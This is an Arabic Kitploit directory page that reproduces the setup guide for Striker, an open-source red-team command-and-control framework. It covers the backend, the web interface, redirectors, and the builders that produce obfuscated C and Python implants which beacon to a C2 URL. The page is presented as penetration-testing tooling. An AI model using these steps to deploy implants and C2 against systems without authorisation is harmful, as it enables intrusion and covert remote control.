Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Striker — إطار عمل C2 متعدد المشغلين مع وكلاء أصليين بلغة C وPython، وقنوات HTTP(S)، ومهام غير متزامنة، وواجهة ويب تفاعلية لعمليات فريق الاختراق. | Kitploit
أدوات/GitHubGitHub/4g3nt47/striker
توليد الحمولةالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHub4g3nt47/striker

Striker

إطار عمل C2 متعدد المشغلين مع وكلاء أصليين بلغة C وPython، وقنوات HTTP(S)، ومهام غير متزامنة، وواجهة ويب تفاعلية لعمليات فريق الاختراق.

عرض المستودع
300412منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Striker C2

Striker هو برنامج قيادة وتحكم (C2) بسيط.

Pasted image 20221022194999

إخلاء مسؤولية

image

هذا المشروع قيد التطوير النشط. معظم الميزات تجريبية، وسيأتي المزيد. توقع تغييرات جذرية.

الميزات

أ) الوكلاء (Agents)

  • وكلاء أصليون لأنظمة لينكس وويندوز.
  • وكيل بايثون مكتفي ذاتيًا وبسيط في حال احتجته.
  • قنوات HTTP(s).
  • تنفيذ المهام بشكل غير متزامن.
  • دعم لعدة موجهات (redirectors)، مع إمكانية التبديل إلى أخرى عند تعطل الموجه النشط.

ب) الخلفية / خادم الفريق (Backend / Teamserver)

  • يدعم عدة مشغلين.
  • معظم الميزات متاحة عبر REST API، مما يسهل أتمتة الأمور.
  • يستخدم Web Sockets للاتصال الأسرع.

ج) واجهة المستخدم (User Interface)

  • واجهة سلسة وتفاعلية بفضل Svelte و SocketIO.
  • سهلة التهيئة لأنها تُجمّع في ملفات HTML و JavaScript و CSS ثابتة، ويمكن استضافتها بأبسط خادم ويب تجده.
  • ميزة الدردشة الجماعية للتواصل مع المشغلين الآخرين عبر النص.

تثبيت Striker

انسخ المستودع؛

root@kitploit:~
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker

تنقسم قاعدة الشيفرة إلى 4 أقسام مستقلة؛

1. خادم C2 / الخلفية (The C2 Server / Backend)

هذا يتعامل مع جميع منطق الخادم لكل من المشغلين والعملاء. وهو تطبيق NodeJS مصنوع باستخدام؛

  • express - لـ REST API.
  • socket.io - للاتصال عبر Web Socket.
  • mongoose - للاتصال بـ MongoDB.
  • multer - للتعامل مع رفع الملفات.
  • bcrypt - لتجزئة كلمات مرور المستخدمين.

الشيفرة المصدرية موجودة في دليل backend/. لإعداد الخادم؛

  1. إعداد قاعدة بيانات MongoDB؛

يستخدم Striker MongoDB كقاعدة بيانات خلفية لتخزين جميع البيانات المهمة. يمكنك تثبيتها محليًا على جهازك باستخدام هذا الدليل للتوزيعات المبنيّة على دبيان، أو إنشاء واحدة مجانية باستخدام MongoDB Atlas (منصة قاعدة بيانات كخدمة).

  1. الانتقال إلى دليل الشيفرة المصدرية؛
root@kitploit:~
$ cd backend
  1. تثبيت التبعيات؛
root@kitploit:~
$ npm install
  1. إنشاء دليل للملفات الثابتة؛
root@kitploit:~
$ mkdir static

يمكنك استخدام هذا المجلد لاستضافة الملفات الثابتة على الخادم. يجب أن يكون هذا أيضًا هو المكان الذي تم تعيين UPLOAD_LOCATION إليه في ملف .env (المزيد عن هذا لاحقًا)، لكن هذا ليس ضروريًا. ستكون الملفات في هذا الدليل متاحة للعموم تحت المسار /static/.

  1. إنشاء ملف .env؛

ملاحظة: القيم بين < و > هي عناصر نائبة. استبدلها بقيم مناسبة (بما في ذلك <>). للحقول التي تتطلب سلاسل عشوائية، يمكنك توليدها بسهولة باستخدام؛

root@kitploit:~
$ head -c 100 /dev/urandom | sha256sum
root@kitploit:~
DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>

لاحظ أن SSL_KEY و SSL_CERT اختياريان. إذا لم يتم تعريف أي منهما، فسيتم إنشاء خادم HTTP عادي. وهذا يساعد في تجنب العبء غير الضروري عند تشغيل الخادم خادم خلف وكيل عكسي مع تمكين SSL على نفس المضيف.

  1. تشغيل الخادم؛
root@kitploit:~
$ node index.js
[12:45:30 PM]  Connecting to backend database...
[12:45:31 PM]  Starting HTTP server...
[12:45:31 PM]  Server started on port: 3000

2. الواجهة الأمامية (The Frontend)

هذه هي واجهة الويب التي يستخدمها المشغلون. وهي تطبيق ويب من صفحة واحدة مكتوب بلغة Svelte، والشيفرة المصدرية موجودة في دليل frontend/.

لإعداد الواجهة الأمامية؛

  1. الانتقال إلى دليل الشيفرة المصدرية؛
root@kitploit:~
$ cd frontend
  1. تثبيت التبعيات؛
root@kitploit:~
$ npm install
  1. إنشاء ملف .env مع المتغير VITE_STRIKER_API مضبوطًا على عنوان URL الكامل لخادم C2 كما تم تكوينه أعلاه؛
root@kitploit:~
VITE_STRIKER_API=https://c2.striker.local
  1. البناء؛
root@kitploit:~
$ npm run build

سيقوم ما سبق بتجميع كل شيء في تطبيق ويب ثابت في دليل dist/. يمكنك نقل جميع الملفات بداخله إلى جذر الويب لخادم الويب الخاص بك، أو حتى استضافته باستخدام خادم HTTP أساسي مثل خادم بايثون؛

root@kitploit:~
$ cd dist
$ python3 -m http.server 8000
  1. التسجيل؛
  • افتح الموقع في متصفح ويب. يجب أن ترى صفحة تسجيل الدخول.
  • انقر على زر Register.
  • أدخل اسم مستخدم، وكلمة مرور، ومفتاح التسجيل المستخدم (انظر REGISTRATION_KEY في backend/.env).

سيؤدي هذا إلى إنشاء حساب مستخدم عادي. ستحتاج إلى حساب مسؤول للوصول إلى بعض الميزات. يجب إنشاء حساب المسؤول الأول يدويًا، وبعد ذلك يمكنك ترقية حسابات الآخرين أو خفضها في علامة تبويب Users في واجهة الويب.

لإنشاء حساب المسؤول الأول؛

  • اتصل بقاعدة بيانات MongoDB المستخدمة بواسطة الخلفية.
  • قم بتحديث مجموعة users واضبط حقل admin للمستخدم المستهدف على true;

هناك طرق مختلفة للقيام بذلك. إذا كان لديك mongo متوفرًا في سطر الأوامر، يمكنك القيام بذلك باستخدام؛

root@kitploit:~
$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})

يجب أن تحصل على الرد التالي إذا نجح الأمر؛

root@kitploit:~
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

يمكنك الآن تسجيل الدخول :)

3. موجه C2 (The C2 Redirector)

أ) إعادة التوجيه عبر أنبوب بسيط (Dumb Pipe Redirection)

يتوفر موجه أنبوب بسيط مكتوب لـ Striker في redirector/redirector.py. من الواضح أن هذا سيعمل فقط مع حركة HTTP العادية، أو مع HTTPS عند تعطيل التحقق من SSL (يمكنك القيام بذلك عن طريق تمكين ماكرو INSECURE_SSL في وكيل C).

المثال التالي يستمع على المنفذ 443 على جميع الواجهات ويُمرّر إلى c2.example.org على المنفذ 443؛

root@kitploit:~
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...

ب) خادم Nginx العكسي كموجه (Nginx Reverse Proxy as Redirector)

  1. تثبيت Nginx؛
root@kitploit:~
$ sudo apt install nginx
  1. إنشاء تكوين مضيف افتراضي (مثال: /etc/nginx/sites-available/striker)؛

العناصر النائبة؛

  • <domain-name> - هذا هو اسم المضيف الكامل (FQDN) لخادمك، ويجب أن يتطابق مع الموجود في شهادة SSL الخاصة بك.
  • <ssl-cert> - ملف شهادة SSL المستخدم.
  • <ssl-key> - ملف مفتاح SSL المستخدم.
  • <c2-server> - عنوان URL الكامل لخادم C2 لإعادة توجيه الطلبات إليه.

تحذير: يجب أن يكون client_max_body_size كبيرًا بقدر الحجم المحدد بواسطة MAX_UPLOAD_SIZE في ملف backend/.env الخاص بك، وإلا ستفشل تحميلات الملفات الكبيرة.

root@kitploit:~
server {
    listen 443 ssl;
    server_name             <domain-name>;
    ssl_certificate         <ssl-cert>;
    ssl_certificate_key     <ssl-key>;
    client_max_body_size    100M;
    access_log              /var/log/nginx/striker.log;

    location / {
      proxy_pass              <c2-server>;
      proxy_redirect          off;
      proxy_ssl_verify        off;
      proxy_read_timeout      90;
      proxy_http_version      1.0;
      proxy_set_header        Upgrade $http_upgrade;
      proxy_set_header        Connection "upgrade";
      proxy_set_header        Host $host;
      proxy_set_header        X-Real-IP $remote_addr;
      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. تفعيله؛
root@kitploit:~
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
  1. إعادة تشغيل Nginx؛
root@kitploit:~
$ sudo service nginx restart

يجب أن يكون الموجه الآن قيد التشغيل على المنفذ 443، ويمكن اختباره باستخدام (بافتراض أن اسم المضيف الكامل هو striker.local)؛

root@kitploit:~
$ curl https://striker.local

إذا نجح الأمر، يجب أن تحصل على رد 404 الذي يستخدمه الخادم الخلفي، مثل؛

root@kitploit:~
{"error":"Invalid route!"}

4. الوكلاء (الزرعات) (The Agents (Implants))

أ) وكيل C (The C Agent)

هذه هي الزرعات التي يستخدمها Striker. الوكيل الأساسي مكتوب بلغة C، ويقع في agent/C/. يدعم كلًا من مضيفي لينكس وويندوز. يعتمد وكيل لينكس خارجيًا على libcurl، والذي ستجده مثبتًا في معظم الأنظمة.

وكيل ويندوز لا يحتوي على تبعية خارجية. يستخدم wininet للاتصال، والذي أعتقد أنه متاح على جميع مضيفي ويندوز.

  1. البناء للينكس

بافتراض أنك على مضيف 64 بت، سيبني ما يلي لمضيف 64 بت؛

root@kitploit:~
$ cd agent/C
$ mkdir bin
$ make

للبناء لنظام 32 بت على 64 بت؛

root@kitploit:~
$ sudo apt install gcc-multilib
$ make arch=32

يقوم ما سبق بتجميع كل شيء في دليل bin/. ستحتاج إلى ملفين فقط لإنشاء زرعات عاملة؛

  • bin/stub - هذا هو النواة (stub) للوكيل التي سيتم استخدامها كقالب لإنشاء زرعات عاملة.
  • bin/builder - هذا ما ستستخدمه لتعديل النواة لإنشاء زرعات عاملة.

يقبل الباني الوسيطات التالية؛

root@kitploit:~
$ ./bin/builder 
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>

حيث؛

  • <url> - الخادم الذي سيبلغ عنه. من الأفضل أن يكون موجهًا (redirector)، لكن عنوان URL مباشر للخادم سيعمل أيضًا.
  • <auth_key> - مفتاح المصادقة لاستخدامه عند الاتصال بـ C2. يمكنك إنشاؤه في علامة تبويب auth keys في واجهة الويب.
  • <delay> - التأخير بين كل رد اتصال، بالثواني. يجب أن يكون على الأقل 2، حسب مدى الضوضاء التي تريدها.
  • <stub> - ملف النواة المراد قراءته، bin/stub في هذه الحالة.
  • <outfile> - اسم ملف الخرج للزرعة الجديدة.

مثال؛

root@kitploit:~
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
            URL: 0x0000a2e0
       OBFS Key: 0x0000a280
       Auth Key: 0x0000a2a0
          Delay: 0x0000a260
[*] Patcing...
[+] Operation completed!
  1. البناء لنظام ويندوز

ستحتاج إلى MinGW لهذا. سيقوم ما يلي بتثبيت بيئة تطوير ويندوز 32 و64 بت؛

root@kitploit:~
$ sudo apt install mingw-w64

البناء لنظام 64 بت؛

root@kitploit:~
$ cd agent/C
$ mdkir bin
$ make target=win

للترجمة لنظام 32 بت؛

root@kitploit:~
$ make target=win arch=32

سيقوم هذا بتجميع كل شيء في دليل bin/، وسيكون لديك الباني والنواة كـ bin\stub.exe و bin\builder.exe، على التوالي.

ب) وكيل بايثون (The Python Agent)

يأتي Striker أيضًا مع وكيل بايثون مكتفي ذاتيًا (تم اختباره على بايثون 2.7.16 و 3.7.3). يقع هذا في agent/python/. يتم تنفيذ الميزات الأساسية فقط في هذا الوكيل. مفيد للمضيفين الذين لا يمكنهم تشغيل وكيل C ولكن لديهم بايثون مثبتًا.

يوجد ملفان في هذا الدليل؛

  • stub.py - هذا هو نواة الحمولة لتمريرها إلى الباني.
  • builder.py - هذا ما ستستخدمه لإنشاء زرعة.

مثال الاستخدام:

root@kitploit:~
$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# ما يالي سيولد حمولة عاملة كـ `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# تشغيلها
$ python3 output.py

البدء

بعد اتباع التعليمات أعلاه، يجب أن يكون Striker الآن جاهزًا للاستخدام. يُرجى الاطلاع على دليل الاستخدام. استمتع، واختراق سعيد!

الدعم

إذا أعجبك المشروع، ففكر في مساعدتي في تحويل القهوة إلى كود!

تنزيل الأداة